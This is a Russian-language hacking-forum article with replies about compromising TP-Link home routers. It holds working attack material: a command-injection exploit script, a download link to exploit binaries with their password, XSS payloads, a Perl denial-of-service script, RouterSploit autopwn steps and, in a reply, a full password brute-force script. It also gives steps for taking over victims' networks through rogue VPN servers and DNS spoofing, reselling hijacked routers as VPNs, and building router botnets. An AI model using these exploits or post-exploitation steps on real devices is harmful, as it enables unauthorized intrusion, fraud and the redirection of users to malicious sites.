response2 =style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(class=token>'http://192.168.0.1/cgi?7'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data2class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> verifyclass=token>=class=token>Falseclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
printstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>(class=token>'[+] Receiving response from router...'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
time.style='font-size:8.0pt;font-family:Consolas;color:black'>sleepclass=token>(class=token>0.8class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'> class=token># Buffer time for traceroute to succeedstyle='font-size:8.0pt;font-family:Consolas;color:black'>
data3 =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''style='font-size:8.0pt;font-family:Consolas;color:black'>
response3 =style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(class=token>'http://192.168.0.1/cgi?1'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data3class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> verifyclass=token>=class=token>Falseclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'=:'style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> response3class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()[class=token>3class=token>]:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(class=token>'[-] Command not supported.'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
elsestyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(class=token>'[+] Exploit successful!'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>forstyle='font-size:8.0pt;font-family:Consolas;color:black'> line_numberclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> line class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>enumerateclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>response3class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()):style='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>tryclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> line_number class=token>==style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>3class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
                class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>lineclass=token>[class=token>12class=token>:])style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> line_number class=token>>style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>3style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>andstyle='font-size:8.0pt;font-family:Consolas;color:black'> line class=token>!=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[error]0'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
                class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>lineclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
                class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'not known'style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> lineclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
                    class=token>breakstyle='font-size:8.0pt;font-family:Consolas;color:black'>
        class=token>exceptstyle='font-size:8.0pt;font-family:Consolas;color:black'> IndexErrorclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
            class=token>breakstyle='font-size:8.0pt;font-family:Consolas;color:black'>


TP-Link TL-WR740N v4 Router (FW-Ver. 3.16.6 Build 130529 Rel.47286n) - Command Execution

TP-Link TL-WR740N v4 - это беспроводной маршрутизатор, который обеспечивает базовые функции для создания беспроводной сети и обеспечения доступа к интернету. Он предназначен для использования в домашних условиях и небольших офисах, где требуется надежное беспроводное соединение.

Параметры доменного имени «Родительский контроль» и «Доступ Управление» TP-Link TL-WR740N v4 (FW-Ver. 3.16.6 Build 130529 Rel.47286n) маршрутизаторы склонны к выполнению произвольных команд оболочки как root для пользователей, прошедших проверку подлинности в веб-интерфейсе.
Каждая полезная нагрузка оболочки ограничена 28 байтами. «Родительский контроль» функция позволяет указать 8 доменов (= 8 команд), поэтому у вас есть 8 x 28 = 244 байта команд оболочки.
Этого достаточно для пост-загрузки и выполнить сценарий оболочки произвольной длины с tftp-сервера.
Используя этот метод, можно получить полный контроль над устройством, когда после загрузки более мощного бинарного MIPS-файла busybox и выполнения telnetd или используя netcat для обратного подключения.

Скачать exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34254.7z(Password: TP-P0wned-Link) запускайте на виртуалке!

Options:
/a Use Access Control Exploit
/p Use Parental Control Exploit
[RouterIp] IP of the target to attack (default 192.168.0.1)
[Username] Username of the Webinterface Login (default admin)
[Password] Username of the Webinterface Login (default admin)
[TFTPServer] TFTP Host where the 'a' shell file is hosted for execution
Example: ParentalControlExploit.exe /a 192.168.0.1 admin admin 192.168.0.100

Список устройств уязвимых к Cross-Site Scripting
TP-Link wireless router Archer C1200 - Cross-Site Scripting

[+] Unauthenticated
[+] Author: Usman Saeed (usman [at] xc0re.net)
[+] Affected Version: Firmware version: 1.13 Build 2018/01/24 rel.52299 EU
[·] Impact: Client side attacks are very common and are the source of maximum number of user compromises. With this attack, the threat actor can steal cookies, redirect an innocent victim to a malicious website, thus compromising the user.
[·] Reason: The remote webserver does not filter special characters or illegal input.
[+] Attack type: Remote
[+] Patch Status: Unpatched

[+] Exploitation:
[!] The Cross-site scripting vector can be executed, as illustrated below

http://hostname/webpages/data/_._.<img src=a onerror=alert(“Reflected-XSS”)>../..%2f


TP-Link TL-WR740N - Cross-Site Scripting
  • Перейдите к IP-адресу вашего беспроводного маршрутизатора (например, 192.168.0.1).
  • Перейдите на вкладку «Беспроводная сеть» и «Беспроводная фильтрация MAC-адресов».
  • Нажмите кнопку «Добавить новую».
  • Запишите случайный MAC-адрес и в -Description- напишите (<h1>XSS </h1>)
  • Нажмите «Сохранить», и вы увидите XSS на вкладке «Беспроводная фильтрация MAC-адресов».

TP-Link TL-MR3220 - Cross-Site Scripting
  • Сначала в перейдите к ( http://IP:PORT/ )
  • На вкладке «Беспроводная фильтрация MAC-адресов».
  • Добавьте новый MAC-адрес.
  • В «Описание» поместите скрипт ( <script>alert('XSS')</script> ) и завершите регистрацию.
Список устройств уязвимых к DoS атаке
TP-Link Archer C50 3 - Denial of Service (PoC)

TP-Link TL-WR840N - Denial of Service

1- Сначала подключитесь к этой сети
2- Откройте терминал => И введите «macof -i eth0 -n 10
3- Нажмите Enter
4- Вы увидите, что ваше сетевое соединение будет потеряно.


TP-Link TL-WR740N Wireless Router - Denial of Service

Bash:
$ip="$ARGV[0]"; $port="$ARGV[1]";

print "\n\n\x20"."\x1f"x42 ."\n";

print "\x20\x1f"."\x20"x40 ."\x1f\n";

print "\x20\x1f TP-Link TL-WR740N httpd DoS Exploit \x1f\n";

print "\x20\x1f"."\x20"x40 ."\x1f\n";

print "\x20\x1f"."\x20"x7 ."\x16"x5 ."\x20"x15 ."\x16"x5 ."\x20"x8 ."\x1f\n";

print "\x20\x1f"."\x20"x9 ."\x16"."\x20"x19 ."\x16"."\x20"x10 ."\x1f\n";

print "\x20" ."\x1f"x42 ."\n";

print "\x20\x4" ."\x20"x40 ."\x4\n";

print "\x20" ."\x1e" x 42 ."\n";

if($#ARGV<1)

{

print "\n\n\x20\x20\x1a\x20Usage: $0 <ip> <port>\n\n";

exit();

}

$socket=IO::Socket::INET->new(

Proto => "tcp",

PeerAddr => $ip,

PeerPort => $port

);



$ta4ke="\x47\x45\x54\x20".

"\x2f\x2e\x2e\x2e".

"\x20\x48\x54\x54".

"\x50\x2f\x31\x2e".

"\x31\x0d\x0a\x0d".

"\x0a";



print "\n\x20\x1a\x20Sending evil payload...\n"; sleep 2;

print $socket "$ta4ke"; sleep 5; close $socket;

print "\x20\x1a\x20HTTPd successfully poked.\n"; sleep 2;

print "\x20\x1a\x20Verifying with Nmap...\n"; sleep 2;

system("nmap -Pn $ip -p $port");

print "\n\x20\x1a\x20Playing goa-psy...\n"; sleep 2;

system("start C:\\Progra~1\\Winamp\\winamp.exe http://scfire-ntc-aa01.stream.aol.com:80/stream/1008");

sleep 1; print "\x20\x1a\x20All Done!\n"; sleep 1;


RouterSploit:
Также хочу показать вам пример эксплуатации уязвимостей оборудования TP-Link с помощью инструмента RouterSploit.

Инструмент по дефолту установлен в Kali Linux, для использованиязапустите в консоли команду sudo routersploit

Выберем модель для проверки уязвимостей в роутер: use scanners/autopwn

Добавим цель для сканирования: set target <IP>

Запускаем модуль командой run
Посмотреть вложение 63028
После проверки инструмент выдаст нам путь к эксплоитам с которыми мы можем работать, выбрав их командой use <путь к эксплоиту>

Постэксплуатация
Проникаем в удаленную локальную сеть
На многих моделях роутеров TP-Link, есть возможность поднимать VPN сервер (PPTP и OVPN). Вот список самых популярных моделей на которых можно поднять VPN:
  • TP-Link Archer C7
  • TP-Link Archer C9
  • TP-Link Archer C3150
  • TP-Link Archer C5400
  • TP-Link Archer C5400X
  • TP-Link Archer C2300
  • TP-Link Archer AX6000
  • TP-Link TL-R600VPN
Суть такая: подняв VPN сервер в основной подсети где находятся все устройства, подключившийся к этому VPN мы сможем работать с этой подсетью и устройствами.
Для проведения этого этапа pivoting-a (закрепления в сети) нам нужно выполнить определенные действия в веб панели администрирования роутера:
  • Зайдите в административную панель роутера, открыв веб-браузер и введите IP-адрес шлюза, который можно найти в разделе Advanced/LAN.
  • Перейдите в раздел настройки DHCP и ограничьте пул IP-адресов до нужного диапазона, например, 192.168.0.199
  • Зайдите в раздел настройки VPN сервера и создайте новое VPN-соединение в подсети, где находятся устройства, с которыми вы хотите работать. Укажите IP-адрес после ограниченного диапазона адресов, например, 192.168.0.220.
  • Сохраните настройки и запустите VPN-сервер. Подключитесь к VPN с использованием соответствующего клиента на вашем устройстве.
После удачного запуска VPN сервера с нашими настройками, нам нужно к нему подключиться, в случае с OpenVPN, мы должны выкачать конфиг файл и запустить его через OpenVPN клиент. Скачать - https://openvpn.net/community-downloads/

В случае с PPTP, мы подключаемся с системы VPN/добавить новое подключение, в настройках подключения указываем протокол PPTP, IP роутера и Логин/пасс который мы указали при настройке VPN сервера.
После подключения нам надо проверить какая подсеть в нашего VPN, открываем консоль и пишем ipconfig(Windows) или ifconfig (Linux).

Как мы видим – наш ip 10.10.15.245, это значит что подсеть 10.10.15.0/24
Просканируя подсеть мы увидим девайсы, теперь сеть в наших руках)

Проводим DNS Spoofing
DNS-спуфинг - это процесс изменения записей DNS (Domain Name System) с целью перенаправления пользователей на неверные или злоумышленные адреса.

Сперва нам нужен дедик, его мы делаем как днс сервер и настраиваем редиректы.
После успешного входа в веб-панель маршрутизатора, найдите раздел, связанный с настройками сети или интернет-подключением. Название раздела может различаться в зависимости от модели маршрутизатора.

В этом разделе вы должны найти опцию "DNS" или "Настройки DNS". Нажмите на нее.
Здесь вы можете выбрать режим настройки DNS: "Автоматический" (обычно использует DNS-сервер вашего интернет-провайдера) или "Вручную".
Если вы хотите настроить DNS-сервера вручную, введите адрес своего DNS-сервера.
После внесения изменений, сохраните настройки.
Перезагрузите маршрутизатор, чтобы изменения вступили в силу.
После перезагрузки проверьте работу новых DNS-серверов, перейдя на веб-сайт, чтобы убедиться, что они правильно настроены.

Поднимаем VPN для личного использования
Эти впнки мы можем юзать лично для себя, либо для продаж. Самым удобным видом VPN будет OpenVPN, у него кроссплатформенный клиент и удобная система конфиг-файлов.

Для поднятия OpenVPN сервера на устройстве:
1.Переходим в админ панель роутера
2.Переходим в раздел Advanced
3.Выбираем VPN\OpenVPN
4.Ставим галочку на Enable VPN Server и выбираем Service type TCP и Internet and Home Network
5.Сохраняем настройки и кликаем на generate certificate
6.Кнопкой export скачиваем готовый OpenVPN конфиг
Посмотреть вложение 63027
Теперь этот конфиг файл мы сможем запускать с разных клиентов OpenVPN и работать с IP адреса роутера!

Для поднятия PPTP VPN сервера на устройстве:
1. Переходим в админ панель роутера
2. Переходим в раздел Advanced
3. Выбираем VPN\PPTP VPN
4. Ставим галочку на Enable VPN server
5. Выбираем количество клиентов (если VPN для личного использования, ставим 1-2)
6. Пишем логин/пароль для подключения к VPN
7.Нажимаем Save для сохранения настроек.

Теперь с помощью IP/Login/Pass мы сможем подключиться к этому VPN и заменить свой IP адрес на адрес роутера.
На винде с системы: VPN/добавить новое подключение, в настройках подключения указываем протокол PPTP, IP роутера и Логин/пасс который мы указали при настройке VPN сервера.

Получаем шелл
Тут я бы хотел рассказать об некоторых RCE которые можно использовать после удаленного подключения к роутеру.
Также познакомимся с оболочкой BusyBox: BusyBox - это небольшой исполняемый файл, который комбинирует множество часто используемых утилит и командных оболочек в один пакет. Он предназначен для использования в встраиваемых системах, таких как роутеры, чтобы предоставить базовые команды и утилиты в ограниченных ресурсах.
Роутеры TP-Link, как и многие другие встроенные устройства, часто используют BusyBox для предоставления командной строки и базовых утилит. Это позволяет администраторам настраивать и управлять роутерами через командную строку или SSH.
Подключившись к роутеру по SSH мы автоматически попадаем в эту оболочку.

Некоторые основные возможности и команды Busybox:
  • ls: Отображение содержимого каталога.
  • cd: Смена текущего рабочего каталога.
  • cp: Копирование файлов и каталогов.
  • mv: Перемещение или переименование файлов и каталогов.
  • rm: Удаление файлов и каталогов.
  • mkdir: Создание каталогов.
  • rmdir: Удаление пустых каталогов.
  • cat: Вывод содержимого файла на экран.
  • echo: Вывод текста на экран или в файл.
  • grep: Поиск текста в файлах.
  • sed: Потоковый редактор для обработки и фильтрации текста.
  • awk: Программирование для обработки и анализа текста.
  • ps: Отображение списка выполняющихся процессов.
  • top: Мониторинг загрузки системы и процессов.
  • ifconfig: Конфигурация сетевых интерфейсов.
  • ping: Отправка ICMP-пакетов для проверки доступности узлов в сети.
  • traceroute: Отслеживание маршрута до узла.
  • wget: Загрузка файлов из сети.
  • curl: Получение данных по URL с использованием различных протоколов.
  • ssh: Установка SSH-соединения с удаленным хостом.
  • telnet: Установка Telnet-соединения с удаленным хостом (если поддерживается).
  • route: Управление таблицей маршрутизации.
  • mount: Монтирование файловых систем.
  • umount: Размонтирование файловых систем.
  • df: Отображение информации о доступном месте на диске.
  • chmod: Изменение прав доступа к файлам и каталогам.
  • chown: Изменение владельца и группы файлов и каталогов.

Как мы знаем, ОС роутеров TP-Link и вообще других производителей сетевого оборудования основаны на ядре Unix/Linux. С помощью некоторых RCE эксполитов мы сможем производить свои команды в ядре роутера TP-Link.

TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)

С помощью перепрошивки роутера TP-Link TL-WR902AC, эксплоит устанавливает в кастомной прошивке бэкдор, который позволяет получить консольную оболочку с рут правами к ядру роутера.


TP-Link WDR4300 - Remote Code Execution (Authenticated)

Эксплоит нам предоставляет Bind shell оболочку к взломанному роутеру TP-Link.
После получения рутового шела к ядру, мы полностью захопили железку! Мы можем изучать ядро, писать мальвари под роутер (например ботнеты) или даже майнить.

Эксплуатируем уязвимости типа “Authenticated”
Использование этих эксплоитов возможно только имея доступ либо к админке оборудования либо к локальной сети в которой находится оборудование.
К примеру, большая часть RCE эксплоитов будет работать только если мы выдадим эксплоиту креды от админки.

TP-Link TL-WR740N - Authenticated Directory Transvers

Этот эксплоит позволяет просматривать файлы системы и ядра, а также вытягивать и анализировать их.

TP-Link TL-WR841N Router - Local File Inclusion

эксплоит для этой модели роутера работает аналогично.

Итоги
Мы начали статью с обзора устройств TP-Link и актуальности атак на них. Введение позволило нам понять, почему проведение тестирования на проникновение на таких устройствах является актуальной и важной задачей.

В разделе сбора информации мы рассмотрели методы определения наличия устройств TP-Link в сети, определения версии прошивки и анализа активных служб. Это помогло нам сформировать базу для последующих этапов анализа и атак.

Проанализировав слабые точки в безопасности, мы перешли к брутфорс атакам. Мы попытались проникнуть в систему, используя методы брутфорса для веб-панели, FTP и SSH. Это позволило нам определить, насколько эффективны и защищены данные точки входа.

Основываясь на списке уязвимостей, мы исследовали потенциальные атаки через эксплоиты, такие как RCE, обход аутентификации, инъекции команд, межсайтовая атака сценариев и атаки DoS. Эти атаки позволили нам демонстрировать, как устройства TP-Link могут быть подвержены различным типам угроз.

После успешных атак, мы перешли к этапу постэксплуатации. Здесь мы исследовали способы расширения нашего контроля над устройством, включая проникновение в локальную сеть, атаку DNS Spoofing, настройку VPN для личного использования и получение удаленного доступа (шелла) к устройству.

В заключение, данная статья позволила нам более глубоко понять потенциальные риски и уязвимости устройств TP-Link, а также проиллюстрировать, как различные методы атак могут быть использованы для получения несанкционированного доступа к системе.


Lu71z - мой ТГ канал с новостями об новом материале, и иследованниях!

BTC: bc1qmku9gh5qxy2j8dh9c657rvum80a4cagx803j54
ETH: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
USDT TRC20: TMeeM2prwn7pShvYNcwLCNKmNAM48BmqGc
USDT ERC20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
BUSD BEP20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151

Автор: Gufi
Сделано специально для xss.pro!
Статья топ только почему не доступен Телеграмм канал?
 
Конечно маловероятно... НО!!! Если кто пойдет по данному пути через телефон и термуху 😵‍💫 с инструментом перебора (https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34254.7z) могут возникнуть проблемы

Вот полный подредактированный код к данному инструменту trb.py:

import requests as r
import base64
import sys
import os

if len(sys.argv) < 4:
print("\tUsage: ./trb.py user IPRouter wordlist\n")
print("\tExample: ./trb.py admin 192.168.1.1 list.txt\n")
exit(1)

os.system('setterm -cursor off')

def main():
wordlist = open(sys.argv[3], 'r')
count = 0
for password in wordlist:
login = sys.argv[1]
password = password.rstrip()
auth = "Basic "
authEncode = auth + base64.b64encode((login + ':' + password).encode()).decode('utf-8')

cookie = {"Authorization": authEncode}

try:
response = r.get('http://' + sys.argv[2], cookies=cookie)
except:
print("\tError connecting to: " + sys.argv[2])
exit(1)

if response.content.count(b'id="userName"') != 1:
os.system('setterm -cursor on')
print('\n\tPassword Found =====> ' + password)
exit(0)

os.system("clear")
count += 1
print('\t[ ' + str(count) + ' ] Password not found ===> ' + password)

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
os.system('setterm -cursor on')
print("\nOperation canceled! :(\n")


На себе испытано все работает 🤤
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Gufi ответь на вопрос пожалуйста. Существует масса "узких" мест на уровне аплинка, в схеме функционирования сетей и протоколов. Что это за места такие в схеме сетей и протoколов?

Tемa безопасности и анонимности. В разделе FAQ на этом форуме написано.
 
Последнее редактирование:
Gufi ответь на вопрос пожалуйста. Существует масса "узких" мест на уровне аплинка, в схеме функционирования сетей и протоколов. Что это за места такие в схеме сетей и протoколов?

Tемa безопасности и анонимности. В разделе FAQ на этом форуме написано.
Это ошибки и проблемы в работе самих протоколов, в частности это кастомные протоколы от самих производителей оборудования.
 
Я вот попробовал, но у меня после часа скана максимум 10 роутеров и только 1 с паролем и то это ещё если повезёт. В общем я так понял тема умерла, да?
нет, тема не умерла, "белых" пятен на карте стало меньше, включая техники атак (вчера работали, сегодня нет, но в wan остались устройства подверженные уязвимости которые есть в открытом доступе, надо больше времени на скан тратить просто)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх